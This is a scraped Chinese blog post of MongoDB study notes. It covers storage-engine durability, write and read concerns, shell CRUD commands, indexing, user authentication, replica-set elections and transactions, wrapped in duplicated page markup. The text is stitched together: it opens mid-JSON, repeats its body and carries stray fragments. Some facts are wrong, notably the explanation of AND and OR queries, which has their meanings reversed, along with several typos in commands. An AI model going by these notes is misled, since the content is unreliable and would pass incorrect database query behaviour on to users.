shell设置\ndb.collection.find({}).readPref(’nearest’)\nreadConcern决定什么数据可以读，available表示读取全部可用数据，local表示全部可用并且熟悉当前分片的数据，majority表示读取在大多数节点上完成的数据，linearizable表示可线性化读取（只读取大多数节点确认的数据（会等待其他节点去更新，最后读取最新的数据，比majority更安全，但是读取数据时很慢，需要等待节点更新）），snapshot表示读取最近快照中的数据（只读同一个快照下的数据）\nmongodb通过维护快照来链接不同版本的数据（MVCC机制），被大多数节点确认过的版本都是快照，快照一直持续没有被使用才会被删除\n安全的读写分离：搭配writConcern和readConcern，writConcern和readConcern都设置为majority，表示数据写入安全和数据读取安全\n事务的ACID：原子性，一致性，隔离性，持久性\n事务完成之前，事务外的操作对该事务的修改不可访问\n","wordCount":"514","inLanguage":"en","datePublished":"2021-08-08T14:20:00Z","dateModified":"2021-08-08T14:20:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/76/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>MongoDB学习笔记</h1><div class=post-meta><span title='2021-08-08 14:20:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/MongoDB%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）</p><p>MongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）</p><p>关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server</p><p>而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）</p><p>基于json有个好处就是不需要额外对数据进行转换（例如sql，在调用其数据时需要进行数据的转换）</p><p>MongoDB使用了WiredTiger存储引擎（3.2+版本开始为默认引擎），利用可用内存来缓存数据，来提供优秀的读取性能，该引擎使用WiredTiger内部缓存和文件系统缓存这俩种缓存</p><p>WiredTiger提供了内存快照，而且每隔60秒（创建检查点）就将内存快照写入磁盘（数据持久化，而且持久化的数据还可以作为校验，确保数据在最后一个检查点是一致的，而且旧检查点可以作为有效检查点恢复因为写入新检查点时的错误而且重启导致丢失的数据）</p><p>对于60秒内的数据丢失，WiredTiger采用了Journal机制（WAL预写日志）来提供断电保护，Journal每隔100ms刷新日志，数据被存储在Journal文件（发生断电情况，可通过Journal文件根据记录追加数据），Journal机制会保留检查点之间保留所有数据修改</p><p>而且不用担心100ms以内的数据丢失，因为MongoDB提供了其特有的写入安全机制（Write Concern），默认使用Acknowledged安全策略，该策略在每次写入操作时确认状态，这个状态取决于内存的写入（不保证数据不丢失）</p><p>Journaled策略要求每一次写入操作必须在journal落盘后（确保数据不丢失，吞吐和响应会有影响），该策略会确认落盘后等待30ms，将30ms内的全部写入操作统一按照顺序写入盘中</p><p>majority副本集策略要求只有当数据被复制到绝大多数节点（包括主节点）后才应答（适合集群）</p><p>Write Concern用法</p><p>例如：</p><p>db.test.insert({&ldquo;name&rdquo;:&ldquo;hallo&rdquo;},{writeConcern:{w:1}})</p><p>w有这几个常用值，分别为0（非应答式写入），1（应答式写入），>1（设置副本写入节点数量），majority(表示majority副本集策略)</p><p>而且还提供了wtimeout参数来限制节点写入时间（超过该时间，报错，只适用集群环境，单位ms）</p><p>j参数是用来开启写入操作必须在写入journal日志后响应（Journaled策略，参数值为布尔值）</p><p>MongoDB有三种集群部署架构，主从，副本集，分片</p><p>一个副本集架构由一个主节点和多个副本节点组成，个主节点和多个副本节点的数据同步基于oplog，当主节点发生故障，副本节点会自动选择一个新的主节点来继续工作</p><p>在分片架构上，数据均衡分布在每一个节点上（负载均衡），可通过增加或者减少分片来实现按需扩展，</p><hr><p>简单使用MongoDB数据库</p><p>mongod.conf文件是MongoDB数据库配置文件</p><p>启动数据库（没有该数据库则创建数据库）</p><p>mongod &ndash;dbpath D:\mongodb</p><p>默认端口为27017</p><p>启动服务</p><p>net start mongodb</p><p>连接数据库</p><p>mongo &ndash;port 27017</p><p>切换数据库（没有该数据库就会创建）</p><p>use demo</p><p>查看全部数据库</p><p>show dbs</p><p>注意：默认数据库为test，没有创建新数据库，那么就存储在test数据库中</p><p>删除数据库（当前数据库）</p><p>db.dropDatabase()</p><p>创建集合（类似于MySQL中的表）</p><p>db.createCollection(&ldquo;hallo&rdquo;)</p><p>插入数据（插入到test集合中，当该集合不存在时，将自动创建该集合）</p><p>db.test.insert({&ldquo;name&rdquo;:&ldquo;hallo&rdquo;})</p><p>查看当前已有集合</p><p>show collections</p><p>或者</p><p>show tables</p><p>db.createCollection(&ldquo;test&rdquo;, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )</p><p>整个集合空间大小102400B, 文档最大个数为10000个</p><p>删除集合（删除test集合）</p><p>db.test.drop()</p><p>插入数据（数据结构和json一样）</p><p>db.test.insert() // 当数据主键已存在，抛出错误</p><pre><code>db.test.insert({
+db.createCollection(&ldquo;test&rdquo;, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"MongoDB学习笔记","item":"https://chenjunlinabc.github.io/posts/76/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"MongoDB学习笔记","name":"MongoDB学习笔记","description":"MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）\nMongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）\n关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server\n而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）\n基于json有个好处就是不需要额外对数据进行转换（例如sql，在调用其数据时需要进行数据的转换）\nMongoDB使用了WiredTiger存储引擎（3.2+版本开始为默认引擎），利用可用内存来缓存数据，来提供优秀的读取性能，该引擎使用WiredTiger内部缓存和文件系统缓存这俩种缓存\nWiredTiger提供了内存快照，而且每隔60秒（创建检查点）就将内存快照写入磁盘（数据持久化，而且持久化的数据还可以作为校验，确保数据在最后一个检查点是一致的，而且旧检查点可以作为有效检查点恢复因为写入新检查点时的错误而且重启导致丢失的数据）\n对于60秒内的数据丢失，WiredTiger采用了Journal机制（WAL预写日志）来提供断电保护，Journal每隔100ms刷新日志，数据被存储在Journal文件（发生断电情况，可通过Journal文件根据记录追加数据），Journal机制会保留检查点之间保留所有数据修改\n而且不用担心100ms以内的数据丢失，因为MongoDB提供了其特有的写入安全机制（Write Concern），默认使用Acknowledged安全策略，该策略在每次写入操作时确认状态，这个状态取决于内存的写入（不保证数据不丢失）\nJournaled策略要求每一次写入操作必须在journal落盘后（确保数据不丢失，吞吐和响应会有影响），该策略会确认落盘后等待30ms，将30ms内的全部写入操作统一按照顺序写入盘中\nmajority副本集策略要求只有当数据被复制到绝大多数节点（包括主节点）后才应答（适合集群）\nWrite Concern用法\n例如：\ndb.test.insert({\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hallo\u0026rdquo;},{writeConcern:{w:1}})\nw有这几个常用值，分别为0（非应答式写入），1（应答式写入），\u0026gt;1（设置副本写入节点数量），majority(表示majority副本集策略)\n而且还提供了wtimeout参数来限制节点写入时间（超过该时间，报错，只适用集群环境，单位ms）\nj参数是用来开启写入操作必须在写入journal日志后响应（Journaled策略，参数值为布尔值）\nMongoDB有三种集群部署架构，主从，副本集，分片\n一个副本集架构由一个主节点和多个副本节点组成，个主节点和多个副本节点的数据同步基于oplog，当主节点发生故障，副本节点会自动选择一个新的主节点来继续工作\n在分片架构上，数据均衡分布在每一个节点上（负载均衡），可通过增加或者减少分片来实现按需扩展，\n简单使用MongoDB数据库\nmongod.conf文件是MongoDB数据库配置文件\n启动数据库（没有该数据库则创建数据库）\nmongod \u0026ndash;dbpath D:\\mongodb\n默认端口为27017\n启动服务\nnet start mongodb\n连接数据库\nmongo \u0026ndash;port 27017\n切换数据库（没有该数据库就会创建）\nuse demo\n查看全部数据库\nshow dbs\n注意：默认数据库为test，没有创建新数据库，那么就存储在test数据库中\n删除数据库（当前数据库）\ndb.dropDatabase()\n创建集合（类似于MySQL中的表）\ndb.createCollection(\u0026ldquo;hallo\u0026rdquo;)\n插入数据（插入到test集合中，当该集合不存在时，将自动创建该集合）\ndb.test.insert({\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hallo\u0026rdquo;})\n查看当前已有集合\nshow collections\n或者\nshow tables\ndb.createCollection(\u0026ldquo;test\u0026rdquo;, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )","keywords":["MongoDB"],"articleBody":"MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）\nMongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）\n关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server\n而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）\n基于json有个好处就是不需要额外对数据进行转换（例如sql，在调用其数据时需要进行数据的转换）\nMongoDB使用了WiredTiger存储引擎（3.2+版本开始为默认引擎），利用可用内存来缓存数据，来提供优秀的读取性能，该引擎使用WiredTiger内部缓存和文件系统缓存这俩种缓存\nWiredTiger提供了内存快照，而且每隔60秒（创建检查点）就将内存快照写入磁盘（数据持久化，而且持久化的数据还可以作为校验，确保数据在最后一个检查点是一致的，而且旧检查点可以作为有效检查点恢复因为写入新检查点时的错误而且重启导致丢失的数据）\n对于60秒内的数据丢失，WiredTiger采用了Journal机制（WAL预写日志）来提供断电保护，Journal每隔100ms刷新日志，数据被存储在Journal文件（发生断电情况，可通过Journal文件根据记录追加数据），Journal机制会保留检查点之间保留所有数据修改\n而且不用担心100ms以内的数据丢失，因为MongoDB提供了其特有的写入安全机制（Write Concern），默认使用Acknowledged安全策略，该策略在每次写入操作时确认状态，这个状态取决于内存的写入（不保证数据不丢失）\nJournaled策略要求每一次写入操作必须在journal落盘后（确保数据不丢失，吞吐和响应会有影响），该策略会确认落盘后等待30ms，将30ms内的全部写入操作统一按照顺序写入盘中\nmajority副本集策略要求只有当数据被复制到绝大多数节点（包括主节点）后才应答（适合集群）\nWrite Concern用法\n例如：\ndb.test.insert({“name”:“hallo”},{writeConcern:{w:1}})\nw有这几个常用值，分别为0（非应答式写入），1（应答式写入），\u003e1（设置副本写入节点数量），majority(表示majority副本集策略)\n而且还提供了wtimeout参数来限制节点写入时间（超过该时间，报错，只适用集群环境，单位ms）\nj参数是用来开启写入操作必须在写入journal日志后响应（Journaled策略，参数值为布尔值）\nMongoDB有三种集群部署架构，主从，副本集，分片\n一个副本集架构由一个主节点和多个副本节点组成，个主节点和多个副本节点的数据同步基于oplog，当主节点发生故障，副本节点会自动选择一个新的主节点来继续工作\n在分片架构上，数据均衡分布在每一个节点上（负载均衡），可通过增加或者减少分片来实现按需扩展，\n简单使用MongoDB数据库\nmongod.conf文件是MongoDB数据库配置文件\n启动数据库（没有该数据库则创建数据库）\nmongod –dbpath D:\\mongodb\n默认端口为27017\n启动服务\nnet start mongodb\n连接数据库\nmongo –port 27017\n切换数据库（没有该数据库就会创建）\nuse demo\n查看全部数据库\nshow dbs\n注意：默认数据库为test，没有创建新数据库，那么就存储在test数据库中\n删除数据库（当前数据库）\ndb.dropDatabase()\n创建集合（类似于MySQL中的表）\ndb.createCollection(“hallo”)\n插入数据（插入到test集合中，当该集合不存在时，将自动创建该集合）\ndb.test.insert({“name”:“hallo”})\n查看当前已有集合\nshow collections\n或者\nshow tables\ndb.createCollection(“test”, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )\n整个集合空间大小102400B, 文档最大个数为10000个\n删除集合（删除test集合）\ndb.test.drop()\n插入数据（数据结构和json一样）\ndb.test.insert() // 当数据主键已存在，抛出错误\ndb.test.insert({ title: \"小陈的辣鸡屋\", description: \"小陈辣鸡屋\", by: \"小陈的辣鸡屋\", url: \"https://xiaochenabc123.test.com\", tags: [\"小陈\", \"hallo\", \"chenjunlin\"], likes: 1 }) 查看插入的文档数据（默认只输出20条，输入it指令查看下一批，返回值为游标对象）\ndb.test.find()\n也可以将数据定位为一个变量\ndata=({ title: \"小陈的辣鸡屋\", description: \"小陈辣鸡屋\", by: \"小陈的辣鸡屋\", url: \"https://xiaochenabc123.test.com\", tags: [\"小陈\", \"hallo\", \"chenjunlin\"], likes: }) 更新数据（upsert参数是表示特殊的更新，如果目标不存在，那么就是插入）\ndb.test.update({ title: \"小陈的辣鸡屋\", tags: [\"小陈\", \"hallo\", \"chenjunlin\"], },{$set:{\"title\":\"hallo 小陈的辣鸡屋\",tags: [\"小陈\", \"hallo\", \"chenjunlin\",\"xiaochenabc123.test.com\"]}},{\"upsert\": true}) 更新数据（主键存在则更新，不存在则插入）\ndb.test.save({ \"_id\" : ObjectId(\"610f84ac242ec572ff8a1678\"), \"title\": \"小陈的辣鸡屋\", \"description\": \"小陈辣鸡屋\", \"by\": \"小陈的辣鸡屋\", \"url\": \"https://xiaochenabc123.test.com\", \"tags\": [\"小陈\", \"hallo\", \"chenjunlin\"], \"likes\": 666 }) 查看更新后的数据\ndb.test.find().pretty()\n删除数据\ndb.test.remove({ \"title\": \"小陈的辣鸡屋\" },1) 将title为小陈的辣鸡屋的第一条记录移除\n删除指定条件的数据\ndb.test.remove({ \"title\": \"小陈的辣鸡屋\" }) 删除全部数据\ndb.test.remove({})\n或者db.test.drop\n查询数据\nAND，OR\n查询条件默认为AND（和），只要有一项为真，则输出\ndb.test.find({“title”:“小陈的辣鸡屋”,“by”: “小陈的辣鸡屋”}).pretty()\nOR条件（或），需要全部项都真，则输出\ndb.test.find({$or:[{“title”:“小陈的辣鸡屋”,“by”: “小陈的辣鸡屋hallo”}]}).pretty()\n其他逻辑符：非（$not）,即非（$nor）\n条件判断\n大于（$gt）\ndb.test.find({likes : {$gt : 100}})\n大于等于（$gte）\ndb.test.find({likes : {$gte : 100}})\n小于（$lt）\ndb.test.find({likes : {$lt : 1000}})\n小于等于（$lte）\ndb.test.find({likes : {$lte : 1000}})\n组合（大于100，小于1000）\ndb.test.find({likes : {$gt : 100,$lte : 1000}})\n其他比较符：等于（$eq）,数组是否包含（$in）,不等于（$ne）,数组是否不包含（$nin）\n数组比较符：全包含（$all），大小匹配（$size），仅一个元素匹配（$elemMatch）\n按照降序输出（-1降序，1为顺序（默认为顺序，可省略1））\ndb.test.find().sort({id: -1})\n分页输出查询（这里是查看第3页的数据，每个页有5个数据）\ndb.test.find().skip(10).limit(5)\nskip: 指定跳过指定数量的数据 limit: 指定一个页有多少条数据\n投射（指定字段输出，默认输出_id，需要通过参数去除）\ndb.test.find({},{_id:0, title: 1,by: 1}).linit(5)\n聚合查询\n$match：过滤，类似于sql的where\n$project：投影，类似于sql的as\n$sort：排序，类似于sql的order by\n$group：分组，类似于sql的group by\n$skip/$limit：结果限制，类似于sql的skip/limit\n$lookup：左外连接，类似于sql的left outer join\ndb.test.aggregate({ {$sort({_id: -1})} {$group: {_id: \"$title\", data: {$sum :1}}} }) 按照id降序输出，并且按照title字段输出，每个数据累计一行输出\n查看数据库信息（其中size字段为数据库的大小，默认单位为字节,这里输出的单位是MB）\ndb.test.stats(1024*1024)\n登录验证（auth）\n选择库\nuse admin\n创建用户\ndb.createUser({ user:\"root\", pwd:\"root\", roles:[ { role:\"userAdminAnyDatabase\", db:\"admin\" }, { role:\"clusterAdmin\", db:\"admin\" }, { role:\"dbAdminAnyDatabase\", db:\"admin\" } ] }) 如果创建普通用户，role为readWrite和read\nread：允许读数据的权限\nreadWrite：允许读和写数据的权限\nuserAdminAnyDatabase：允许管理所有数据库的用户的权限，只能用于admin用户\nclusterAdmin：获取管理集群的最高权限，只能用于admin用户\ndbAdminAnyDatabase： 获取管理所有数据库的权限，只能用于admin用户\nroot没有任何限制（吴迪）\ndb.createUser( { user:\"root\", pwd:\"pwd\", roles:[\"root\"] } ) 启用auth\nmongod.conf\nsecurity: authorization: enabled\n或者\nmongo.conf\nauth=true\n也是可以终端 mongod –auth\n注意：MongoDB允许同user，但是db不允许相同，因为同用户名的用户之间是根据db参数区别的，db参数就是该用户在该数据库的权限（admin用户除外）\n查看用户\nshow users\n修改密码\ndb.changeUserPassword(“admin”, “abc123”)\n或者\ndb.runCommand( { updateUser:\"admin\", pwd:\"abc123\", } ) 删除用户\ndb.dropUser(‘root’)\n验证用户（用户鉴权）（符合1表示验证成功，0为失败）\ndb.auth(‘admin’, ‘abc123’)\n登录\nmongo -u admin -p abc123 –host localhostt –port 27017 –authenticationDatabase admin\n或者\nmongo mongodb://admin:abc123@127.0.0.1:27017\nmongo shell 基于JavaScript语法，因此可以执行JavaScript程序，其JavaScript解析器引擎为SpiderMonkey（正是Firefox浏览器同款解释器，由Mozilla提供）（注意：在3.2+版本，才是SpiderMonkey引擎，之前的版本是v8引擎）\n索引，通过关键词来快速得到自己想要的数据\n升序输出单字段索引 db.test.ensureIndex({title:1})\n复合索引就是多字段组合的索引\ndb.test.ensureIndex({_id:1, title:1})\n数组索引（tags字段是一个数组）\ndb.test.ensureIndex({tags:1})\n注意：MongoDB不允许在复合索引中出现多个数组字段\n唯一性约束（保证数据的唯一性，写入重复的数据，会导致报错（输出的字段也不是唯一的也报错），使用unique: true声明）\ndb.test.ensureIndex({title:1}, {unique: true})\n数组索引的唯一性并不能保证数组元素的唯一性\nTTL索引（数据老化处理）\ndb.test.ensureIndex({Date:1}, {expireAfterSeconds: 60})\n创建一个TTL索引，指向Date字段，并且expireAfterSeconds: 60表示该数据60秒后过期（过期后，会进行清理该数据）\n修改过期时间（已创建TTL索引）\ndb.runCommand({collMod:“test”,index: {keyPattern:{Data:1},expireAfterSeconds: 600}})\n修改过期时间为10分钟\nMongoDB允许多个结构不同的数据存储在同一个数据库中（索引该数据时，不存在的字段将输出null）\n稀疏索引\ndb.test.ensureIndex({title:1}, {sparse: true})\n文本索引\ndb.test.ensureIndex({title: “text”, by: “text”})\n通过文本索引进行搜索文本（通过$text操作符输出包含$search指向的关键词的数据，对中日韩等语言支持不怎么理想，对英文支持很好）\ndb.test.find({$text: {$search: “chen”}})\n模糊索引（假设data是一个嵌套数据，其下还有多个不同的属性）\ndb.test.createIndex({“data.$**”: 1})\n副本集架构（由一个主节点和多个副本节点组成）\n主节点写入数据后，副本节点进行同步复制工作，确保副本节点拥有和主节点的数据副本，当主节点发生故障不可用时，副本节点将通过Raft算法选举出新的主节点（这个步骤是全自动的，无需进行额外配置）\nRaft选举算法：主节点会向副节点发送心跳包，确保主节点存活，如果在一段时间内副节点没有接收到心跳包，副节点将转换为候选者，候选者得到投票数最多者成为主节点（副节点在每个选举期中只能给候选者投一票，而且只有当对方的任期时间和日志时间与自己一样新时，才进行投票给对方，如果没有得到最多数票，会重新发起选举，如果在该选举期中发现有主节点的心跳包时，进行判断对方任期是否和自己一样新，如果是则为副节点，如果不是，继续选举）\n只能是当任期结束了或者主节点没有发送心跳包了才会触发选举，而且Raft使用了一种预投票的机制（preVote），通过预投票的方式来试探是否选举成功，只有当预投票通过才能发起真实的投票\nMongoDB基于Raft算法进行了一些扩展，例如副节点可以选择离自己最近（心跳延时）的节点来复制数据，并不一定要向主节点复制数据\nMongoDB的选举：具备投票权的节点之间互相发送心跳（默认每2秒发送一次心跳包），当5次心跳没有接收到时，认定该节点失联，如果失联是主节点，会发起选举，成为候选者，如果失联的是副节点，则不会发起选举，成为候选者后，其他节点只有当对方的oplog日志和自己一样新时，投票给对方，一个节点一个选举期内只能投一票，候选者票数占大数时为主节点，如果主节点突然存活了，则判断该节点的oplog日志是否和自己一样，如果不是则继续选举，如果是则放弃选举，重新恢复到副节点身份\noplog同步数据，主节点当一个写操作完成时，向oplog写入一条日志，副节点通过该oplog拉取新日志，达到数据同步\n当主节点发生修改，插入，更新，删除等操作时，主节点会将这些操作记录下来，而这个记录叫oplog\n副节点通过在主节点上打开tailable游标来获取主节点的新oplog，并且将oplog的记录在自身回放，来保持于主节点的数据一致\n注意：oplog的容量并不是无限的，是有固定大小的，当容量满了，会将旧日志滚动清理\n副本集架构在实现高可用的同时，也可以完成读写分离，数据分发，异地容灾\n一个副本集架构最少需要3个节点（并且节点都具备投票权）：一个主节点，2个副节点\n主节点接受写入工作，副节点承担复制主节点的数据工作\n副本集最多50个节点，具备选举投票权节点最多7个，其他节点则不参与投票\n成为主节点的节点选举必须是集群中大多数节点存活（选举投票权节点有7个时，最少要有4个选举节点存活），并且该节点能于多数节点连接通信，而且具备较新的oplog，而且还可以设置优先级来影响选举结果\n副本集节点的选配设置：是否具备投票权（v），优先级（优先级为0则表示该节点不会成为主节点，优先级越高则优先成为主节点，priority），隐藏（对应用不可见，但是可以复制主节点数据，隐藏节点可以具备投票权，但是优先级必须为0（不能成为主节点）hidden），延迟（复制多少秒之前的数据，保持于主节点的数据时间差（避免主节点数据因为误操作而导致副本集节点也跟着更新了），slaveDelay）\n副本集节点注意：副节点存在成为主节点的可能，因此不要将一些副节点的硬件配置设置很低，应该保持和主节点的配置一致，而且硬件尽量保持独立性，副本集节点软件版本应保持一致，增加副本节点不会提高副本集架构的写入性能，副本集的写入由主节点完成，主节点只能有一个，增加副本节点只能提高读的性能（读写分离，主写，副读）\n搭建mongodb副本集\n每个mongodb实例需要一个数据目录来存储数据文件，每个mongodb实例需要一个配置文件和一个日志文件\n副本集节点mongod.conf实例：\nsystemLog: destination: file path: \"/mongodb1/mongodb.log\" # 日志文件路径 logAppend: true # 实例重新启动时，将写入日志的末尾 storage: dbpath: \"/mongodb1/data\" # 数据存储目录 journal: enabled: true # 启用持久性日志 processManagement: fork: true # 使用守护进程（独立进程）的模式运行实例 pidFilePath: \"/data/mongodb.pid\" # 保存实例进程id的文件路径，会将pid写入到该文件中 net: bindIP: 0.0.0.0 # 0.0.0.0表示所有网卡都监听，如果设置为127.0.0.1，外界无法访问 port: 27017 replication: replSetName: a1 #副本集节点名称 以配置文件的模式启动mongodb实例\nmongod -f db/mongod.conf\n查看mongod进程运行情况\nps -ef | grep mongod\n配置副本集\n进入一个节点，初始化，再将节点一个个传进副本集\nrs.initiate() rs.add('mongodb1:27017') rs.add('mongodb2:27017') rs.add('mongodb3:27017') mongodb1需要被解析（hosts文件配置主机名）\n或者节点初始化时就配置好\nrs.initiate({ _id: 'rs0', members: [{ _id: 0, host: '196.168.1.2:27017' },{ _id: 1, host: '196.168.1.3:27017' },{ _id: 2, host: '196.168.1.4:27017' }] }) 验证副本集是否工作：在主节点上写入，然后在副节点上读，如果读到则表示工作正常\n分片集群架构\n–\n数据模型设计\n数据模型是由一组符号，文本组成的集合，用来表达信息\n组成一个数据模型的元素有实体（Entity），属性（Attribute），以及关系（Relationship）\n传统的模型设计：概念模型（CDM），逻辑模型（LDM），物理模型（PDM）\nJSON文档模型设计（通过字段或者集合来表示关系）\n事务开发\nmongodb提供了事务来保证数据不丢失\n写入操作事务\nwritConcern决定一个写入操作落到多少个节点才算成功，取值为0时表示不关心，1至集群max节点数表示写入操作被复制到指定节点数才算成功，majority表示写入操作被复制到大多数节点才算成功，all表示全部节点都被写入时认定成功\n注意：当设置非0的值时，发起写入操作将导致阻塞，一直到认为成功为止\njournal决定这个节点写入操作如何才算成功，true表示写入操作落到journal文件中时认定成功，false表示写入操作落到内存时就认定成功\ndb.test.insert({count: 1}, {writConcern: {w: “majority”})\n读取操作事务\nreadPreference决定数据从哪个节点读，primary表示只选择主节点读，primaryPreferred表示优先选择主节点，如果不可用则选择副节点，secondary表示只选择副节点，secondaryPreferred表示优先选择副节点，如果副节点不可用，则选择主节点，nearest表示选择最近的节点（通过ping延迟来选择最近）\n在连接时设置\nmongodb://196.168.1.2:27017,196.168.1.3:27017,196.168.1.4:27017/?replicaSet=rs\u0026readPreference=nearest\n或者在mongo shell设置\ndb.collection.find({}).readPref(’nearest’)\nreadConcern决定什么数据可以读，available表示读取全部可用数据，local表示全部可用并且熟悉当前分片的数据，majority表示读取在大多数节点上完成的数据，linearizable表示可线性化读取（只读取大多数节点确认的数据（会等待其他节点去更新，最后读取最新的数据，比majority更安全，但是读取数据时很慢，需要等待节点更新）），snapshot表示读取最近快照中的数据（只读同一个快照下的数据）\nmongodb通过维护快照来链接不同版本的数据（MVCC机制），被大多数节点确认过的版本都是快照，快照一直持续没有被使用才会被删除\n安全的读写分离：搭配writConcern和readConcern，writConcern和readConcern都设置为majority，表示数据写入安全和数据读取安全\n事务的ACID：原子性，一致性，隔离性，持久性\n事务完成之前，事务外的操作对该事务的修改不可访问\n","wordCount":"514","inLanguage":"en","datePublished":"2021-08-08T14:20:00Z","dateModified":"2021-08-08T14:20:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/76/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" 